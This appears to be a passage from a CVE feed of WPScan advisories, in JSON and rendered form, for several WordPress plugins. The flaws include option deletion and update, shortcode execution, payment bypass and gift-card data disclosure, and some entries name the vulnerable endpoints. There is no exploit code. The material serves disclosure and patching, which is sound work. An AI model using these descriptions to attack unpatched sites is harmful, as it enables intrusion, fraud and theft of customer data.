    "dateUpdated": "2026-09-10T06:00:06.225Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-77770 (GCVE-0-2026-77770)

Vulnerability from cvelistv5 – Published: 2026-09-10 06:00 – Updated: 2026-09-10 06:00

Title

miniOrange 2FA (Free & Pro) - Unauthenticated Arbitrary Option Deletion via Out-of-Band Email Link Validator

Summary

The miniOrange 2FA WordPress plugin before 6.3.1, miniOrange 2FA WordPress plugin before 19.3 does not require a validated transaction before deleting site options whose names come from unauthenticated request input, allowing any visitor to delete arbitrary options, which can lock every administrator out of the dashboard or deactivate every miniOrange 2FA WordPress plugin before 6.3.1, miniOrange 2FA WordPress plugin before 19.3 on the site.

Severity

No CVSS data available.

CWE

CWE-862 Missing Authorization

Assigner

WPScan mitre root

References

1 reference

URL	Tags
https://wpscan.com/vulnerability/68bc7294-1ee6-44…	exploitvdb-entrytechnical-description

Impacted products

2 products

Vendor	Product	Version
Unknown	miniOrange 2FA	Affected: 5.3.24 , < 6.3.1 (semver)
Unknown	miniOrange 2FA	Affected: 18.0 , < 19.3 (semver)

Credits

Osman Hussein WPScan

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "miniOrange 2FA",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "6.3.1",
              "status": "affected",
              "version": "5.3.24",
              "versionType": "semver"
            }
          ]
        },
        {
          "defaultStatus": "unaffected",
          "product": "miniOrange 2FA",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "19.3",
              "status": "affected",
              "version": "18.0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Osman Hussein"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "WPScan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The miniOrange 2FA  WordPress plugin before 6.3.1, miniOrange 2FA  WordPress plugin before 19.3 does not require a validated transaction before deleting site options whose names come from unauthenticated request input, allowing any visitor to delete arbitrary options, which can lock every administrator out of the dashboard or deactivate every miniOrange 2FA  WordPress plugin before 6.3.1, miniOrange 2FA  WordPress plugin before 19.3 on the site."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-862 Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-10T06:00:06.054Z",
        "orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
        "shortName": "WPScan"
      },
      "references": [
        {
          "tags": [
            "exploit",
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://wpscan.com/vulnerability/68bc7294-1ee6-44a9-9995-3b23b921f750/"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "miniOrange 2FA (Free \u0026 Pro) - Unauthenticated Arbitrary Option Deletion via Out-of-Band Email Link Validator",
      "x_generator": {
        "engine": "WPScan CVE Generator"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
    "assignerShortName": "WPScan",
    "cveId": "CVE-2026-77770",
    "datePublished": "2026-09-10T06:00:06.054Z",
    "dateReserved": "2026-08-21T10:57:53.664Z",
    "dateUpdated": "2026-09-10T06:00:06.054Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-19840 (GCVE-0-2026-19840)

Vulnerability from cvelistv5 – Published: 2026-09-10 06:00 – Updated: 2026-09-10 06:00

Title

Notiqoo < 1.4.14 - Contributor+ Arbitrary Option Update via Multiple AJAX Actions

Summary

The Notiqoo WordPress plugin before 1.4.14 does not have capability checks on several of its AJAX actions and builds the name of the option to write from user input, allowing users with a role as low as contributor to modify arbitrary WordPress options, which can be used to deactivate Notiqoo WordPress plugin before 1.4.14 and to lock every administrator out of the site.

Severity

No CVSS data available.

CWE

CWE-863 Incorrect Authorization

Assigner

WPScan mitre root

References

1 reference

URL	Tags
https://wpscan.com/vulnerability/030939ee-9aa9-40…	exploitvdb-entrytechnical-description

Impacted products

1 product

Vendor	Product	Version
Unknown	Notiqoo	Affected: 0 , < 1.4.14 (semver)

Credits

Seongwon Lee WPScan

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Notiqoo",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "1.4.14",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Seongwon Lee"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "WPScan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Notiqoo  WordPress plugin before 1.4.14 does not have capability checks on several of its AJAX actions and builds the name of the option to write from user input, allowing users with a role as low as contributor to modify arbitrary WordPress options, which can be used to deactivate Notiqoo  WordPress plugin before 1.4.14 and to lock every administrator out of the site."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-863 Incorrect Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-10T06:00:05.869Z",
        "orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
        "shortName": "WPScan"
      },
      "references": [
        {
          "tags": [
            "exploit",
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://wpscan.com/vulnerability/030939ee-9aa9-4082-934e-c9a07fc3dfc3/"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Notiqoo \u003c 1.4.14 - Contributor+ Arbitrary Option Update via Multiple AJAX Actions",
      "x_generator": {
        "engine": "WPScan CVE Generator"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
    "assignerShortName": "WPScan",
    "cveId": "CVE-2026-19840",
    "datePublished": "2026-09-10T06:00:05.869Z",
    "dateReserved": "2026-08-14T07:56:48.561Z",
    "dateUpdated": "2026-09-10T06:00:05.869Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-19439 (GCVE-0-2026-19439)

Vulnerability from cvelistv5 – Published: 2026-09-10 06:00 – Updated: 2026-09-10 06:00

Title

Ultimate Gift Cards for WooCommerce 3.0.3 - 3.2.9 - Unauthenticated Gift Card Code and Customer PII Disclosure via wps_uwgc_report_details

Summary

The Ultimate Gift Cards for WooCommerce WordPress plugin before 3.2.10 does not have any authorisation check when displaying gift card details, allowing unauthenticated users to retrieve the gift cards attached to arbitrary orders and disclose customer personal data, balances, dates and, in 3.2.9, the live redemption code, which anyone holding it can spend. Versions from 3.0.3 to 3.2.8 disclose the same data without the redemption code.

Severity

No CVSS data available.

CWE

CWE-200 Information Exposure

Assigner

WPScan mitre root

References

1 reference

URL	Tags
https://wpscan.com/vulnerability/daefdabe-2277-47…	exploitvdb-entrytechnical-description

Impacted products

1 product

Vendor	Product	Version
Unknown	Ultimate Gift Cards for WooCommerce	Affected: 3.0.3 , < 3.2.10 (semver)

Credits

Usama Arshad WPScan

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Ultimate Gift Cards for WooCommerce",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "3.2.10",
              "status": "affected",
              "version": "3.0.3",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Usama Arshad"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "WPScan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Ultimate Gift Cards for WooCommerce WordPress plugin before 3.2.10 does not have any authorisation check when displaying gift card details, allowing unauthenticated users to retrieve the gift cards attached to arbitrary orders and disclose customer personal data, balances, dates and, in 3.2.9, the live redemption code, which anyone holding it can spend.\n\nVersions from 3.0.3 to 3.2.8 disclose the same data without the redemption code."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-200 Information Exposure",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-10T06:00:05.700Z",
        "orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
        "shortName": "WPScan"
      },
      "references": [
        {
          "tags": [
            "exploit",
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://wpscan.com/vulnerability/daefdabe-2277-4753-9df5-581134540000/"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Ultimate Gift Cards for WooCommerce 3.0.3 - 3.2.9 - Unauthenticated Gift Card Code and Customer PII Disclosure via wps_uwgc_report_details",
      "x_generator": {
        "engine": "WPScan CVE Generator"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
    "assignerShortName": "WPScan",
    "cveId": "CVE-2026-19439",
    "datePublished": "2026-09-10T06:00:05.700Z",
    "dateReserved": "2026-08-10T13:02:17.334Z",
    "dateUpdated": "2026-09-10T06:00:05.700Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-19436 (GCVE-0-2026-19436)

Vulnerability from cvelistv5 – Published: 2026-09-10 06:00 – Updated: 2026-09-10 06:00

Title

Ultimate Gift Cards For WooCommerce < 3.2.10 - Unauthenticated Gift Card Value Inflation via Discounted Purchase

Summary

The Ultimate Gift Cards for WooCommerce WordPress plugin before 3.2.10 does not reconcile the value of the gift card coupon it issues against the amount actually collected at checkout, allowing unauthenticated users to obtain store credit worth more than they paid.

Severity

No CVSS data available.

CWE

CWE-284 Improper Access Control

Assigner

WPScan mitre root

References

1 reference

URL	Tags
https://wpscan.com/vulnerability/7c2f56f6-9c0a-4d…	exploitvdb-entrytechnical-description

Impacted products

1 product

Vendor	Product	Version
Unknown	Ultimate Gift Cards for WooCommerce	Affected: 0 , < 3.2.10 (semver)

Credits

Guillermo Álvarez Fernández WPScan

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Ultimate Gift Cards for WooCommerce",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "3.2.10",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Guillermo \u00c1lvarez Fern\u00e1ndez"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "WPScan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Ultimate Gift Cards for WooCommerce WordPress plugin before 3.2.10 does not reconcile the value of the gift card coupon it issues against the amount actually collected at checkout, allowing unauthenticated users to obtain store credit worth more than they paid."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-284 Improper Access Control",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-10T06:00:05.523Z",
        "orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
        "shortName": "WPScan"
      },
      "references": [
        {
          "tags": [
            "exploit",
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://wpscan.com/vulnerability/7c2f56f6-9c0a-4de2-9cd2-9c25a25c3530/"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Ultimate Gift Cards For WooCommerce \u003c 3.2.10 - Unauthenticated Gift Card Value Inflation via Discounted Purchase",
      "x_generator": {
        "engine": "WPScan CVE Generator"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
    "assignerShortName": "WPScan",
    "cveId": "CVE-2026-19436",
    "datePublished": "2026-09-10T06:00:05.523Z",
    "dateReserved": "2026-08-10T12:44:06.866Z",
    "dateUpdated": "2026-09-10T06:00:05.523Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-85117 (GCVE-0-2026-85117)

Vulnerability from cvelistv5 – Published: 2026-09-09 06:25 – Updated: 2026-09-09 15:23

Title

Contact Form 7 Captcha 0.1.7 - 0.1.8 - Unauthenticated Arbitrary Shortcode Execution via Form Field Repopulation

Summary

The Contact Form 7 Captcha WordPress plugin before 0.1.9 runs the shortcode parser over the whole rendered Contact Form 7 form, including the values a visitor submitted, allowing unauthenticated users to execute arbitrary shortcodes registered on the site.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

SSVC

Exploitation: none Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-09 15:22 UTC

CWE

CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
CWE-74 - Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Assigner

WPScan mitre root

References

1 reference

URL	Tags
https://wpscan.com/vulnerability/e791e4a6-5ec1-49…	exploitvdb-entrytechnical-description

Impacted products

1 product

Vendor	Product	Version
Unknown	Contact Form 7 Captcha	Affected: 0.1.7 , < 0.1.9 (semver)

Credits

Jakub Herman WPScan

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-85117",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-09T15:22:10.980997Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-74",
                "description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-09T15:23:41.750Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://wordpress.org/plugins",
          "defaultStatus": "unaffected",
          "product": "Contact Form 7 Captcha",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "0.1.9",
              "status": "affected",
              "version": "0.1.7",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Jakub Herman"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "WPScan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Contact Form 7 Captcha WordPress plugin before 0.1.9 runs the shortcode parser over the whole rendered Contact Form 7 form, including the values a visitor submitted, allowing unauthenticated users to execute arbitrary shortcodes registered on the site."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T06:25:07.194Z",
        "orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
        "shortName": "WPScan"
      },
      "references": [
        {
          "tags": [
            "exploit",
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://wpscan.com/vulnerability/e791e4a6-5ec1-49c7-9448-1d83ec4f4905/"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Contact Form 7 Captcha 0.1.7 - 0.1.8 - Unauthenticated Arbitrary Shortcode Execution via Form Field Repopulation",
      "x_generator": {
        "engine": "WPScan CVE Generator"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
    "assignerShortName": "WPScan",
    "cveId": "CVE-2026-85117",
    "datePublished": "2026-09-09T06:25:07.194Z",
    "dateReserved": "2026-09-03T07:55:26.694Z",
    "dateUpdated": "2026-09-09T15:23:41.750Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-83537 (GCVE-0-2026-83537)

Vulnerability from cvelistv5 – Published: 2026-09-09 06:25 – Updated: 2026-09-09 15:23

Title

WP Express Checkout < 2.5.0 - Unauthenticated Payment Bypass via wpec_process_empty_payment

Summary

The WP Express Checkout WordPress plugin before 2.5.0 does not verify server-side that a payment was actually completed before marking an order as paid, allowing unauthenticated users to forge a completed order without paying.

Severity

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

SSVC

Exploitation: none Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-09 15:22 UTC

CWE

CWE-345 Insufficient Verification of Data Authenticity
CWE-345 - Insufficient Verification of Data Authenticity

Assigner

WPScan mitre root

References

1 reference

URL	Tags
https://wpscan.com/vulnerability/02b39e4f-181d-45…	exploitvdb-entrytechnical-description

Impacted products

1 product

Vendor	Product	Version
Unknown	WP Express Checkout	Affected: 0 , < 2.5.0 (semver)

Credits

ryan zegar WPScan

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-83537",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-09T15:22:16.966066Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-345",
                "description": "CWE-345 Insufficient Verification of Data Authenticity",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-09T15:23:34.131Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://wordpress.org/plugins",
          "defaultStatus": "unaffected",
          "product": "WP Express Checkout",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "2.5.0",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "ryan zegar"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "WPScan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The WP Express Checkout WordPress plugin before 2.5.0 does not verify server-side that a payment was actually completed before marking an order as paid, allowing unauthenticated users to forge a completed order without paying."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-345 Insufficient Verification of Data Authenticity",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T06:25:06.539Z",
        "orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
        "shortName": "WPScan"
      },
      "references": [
        {
          "tags": [
            "exploit",
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://wpscan.com/vulnerability/02b39e4f-181d-4573-9175-bf5a6d71e531/"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "WP Express Checkout \u003c 2.5.0 - Unauthenticated Payment Bypass via wpec_process_empty_payment",
      "x_generator": {
        "engine": "WPScan CVE Generator"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
    "assignerShortName": "WPScan",
    "cveId": "CVE-2026-83537",
    "datePublished": "2026-09-09T06:25:06.539Z",
    "dateReserved": "2026-08-31T17:01:05.328Z",
    "dateUpdated": "2026-09-09T15:23:34.131Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-80440 (GCVE-0-2026-80440)

Vulnerability from cvelistv5 – Published: 2026-09-09 06:25 – Updated: 2026-09-09 15:23

Title

Hustle < 7.8.14.2 - Unauthenticated Arbitrary Shortcode Execution via Success Message Placeholders

Summary

The Hustle WordPress plugin before 7.8.14.2 does not prevent shortcodes in submitted form values from being executed when it substitutes those values into the message it returns after submission, because the guard it applies can be defeated by nesting, allowing unauthenticated users to run any shortcode registered on the site.

Severity

4.8 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-09 15:22 UTC

CWE

CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
CWE-74 - Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Assigner

WPScan mitre root

References

1 reference

URL	Tags
https://wpscan.com/vulnerability/7b86b462-e021-49…	exploitvdb-entrytechnical-description

Impacted products

1 product

Vendor	Product	Version
Unknown	Hustle	Affected: 7.0.0.1 , < 7.8.14.2 (semver)

Credits

Jakub Herman WPScan

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-80440",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-09T15:22:21.634590Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-74",
                "description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-09T15:23:25.033Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://wordpress.org/plugins",
          "defaultStatus": "unaffected",
          "product": "Hustle",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "7.8.14.2",
              "status": "affected",
              "version": "7.0.0.1",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Jakub Herman"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "WPScan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Hustle WordPress plugin before 7.8.14.2 does not prevent shortcodes in submitted form values from being executed when it substitutes those values into the message it returns after submission, because the guard it applies can be defeated by nesting, allowing unauthenticated users to run any shortcode registered on the site."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "baseScore": 4.8,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T06:25:05.901Z",
        "orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
        "shortName": "WPScan"
      },
      "references": [
        {
          "tags": [
            "exploit",
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://wpscan.com/vulnerability/7b86b462-e021-4906-bbf3-bf83f89a03ee/"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Hustle \u003c 7.8.14.2 - Unauthenticated Arbitrary Shortcode Execution via Success Message Placeholders",
      "x_generator": {
        "engine": "WPScan CVE Generator"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
    "assignerShortName": "WPScan",
    "cveId": "CVE-2026-80440",
    "datePublished": "2026-09-09T06:25:05.901Z",
    "dateReserved": "2026-08-26T11:10:10.203Z",
    "dateUpdated": "2026-09-09T15:23:25.033Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-19855 (GCVE-0-2026-19855)

Vulnerability from cvelistv5 – Published: 2026-09-09 06:25 – Updated: 2026-09-09 15:23

Title

Spam protection, Honeypot, Anti-Spam by CleanTalk < 6.87 - Unauthenticated Arbitrary Shortcode Execution via Comment Text

Summary

The CleanTalk WordPress plugin before 6.87 does not prevent unauthenticated, user-supplied comment content from being passed to WordPress's shortcode engine, allowing any visitor to have arbitrary shortcodes registered on the site executed server-side and rendered to every subsequent visitor of the page.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

SSVC

Exploitation: none Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-09 15:22 UTC

CWE

CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
CWE-74 - Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Assigner

WPScan mitre root

References

1 reference

URL	Tags
https://wpscan.com/vulnerability/c27f3657-261a-46…	exploitvdb-entrytechnical-description

Impacted products

1 product

Vendor	Product	Version
Unknown	CleanTalk	Affected: 0 , < 6.87 (semver)

Credits

Jakub Herman WPScan

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-19855",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-09T15:22:26.851558Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-74",
                "description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-09T15:23:18.450Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://wordpress.org/plugins",
          "defaultStatus": "unaffected",
          "product": "CleanTalk",
          "vendor": "Unknown",
          "versions": [
            {
              "lessThan": "6.87",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Jakub Herman"
        },
        {
          "lang": "en",
          "type": "coordinator",
          "value": "WPScan"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The CleanTalk WordPress plugin before 6.87 does not prevent unauthenticated, user-supplied comment content from being passed to WordPress\u0027s shortcode engine, allowing any visitor to have arbitrary shortcodes registered on the site executed server-side and rendered to every subsequent visitor of the page."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T06:25:05.235Z",
        "orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
        "shortName": "WPScan"
      },
      "references": [
        {
          "tags": [
            "exploit",
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://wpscan.com/vulnerability/c27f3657-261a-46cd-860c-0bdf5c849190/"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Spam protection, Honeypot, Anti-Spam by CleanTalk \u003c 6.87 - Unauthenticated Arbitrary Shortcode Execution via Comment Text",
      "x_generator": {
        "engine": "WPScan CVE Generator"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
    "assignerShortName": "WPScan",
    "cveId": "CVE-2026-19855",
    "datePublished": "2026-09-09T06:25:05.235Z",
    "dateReserved": "2026-08-14T09:43:54.757Z",
    "dateUpdated": "2026-09-09T15:23:18.450Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0317

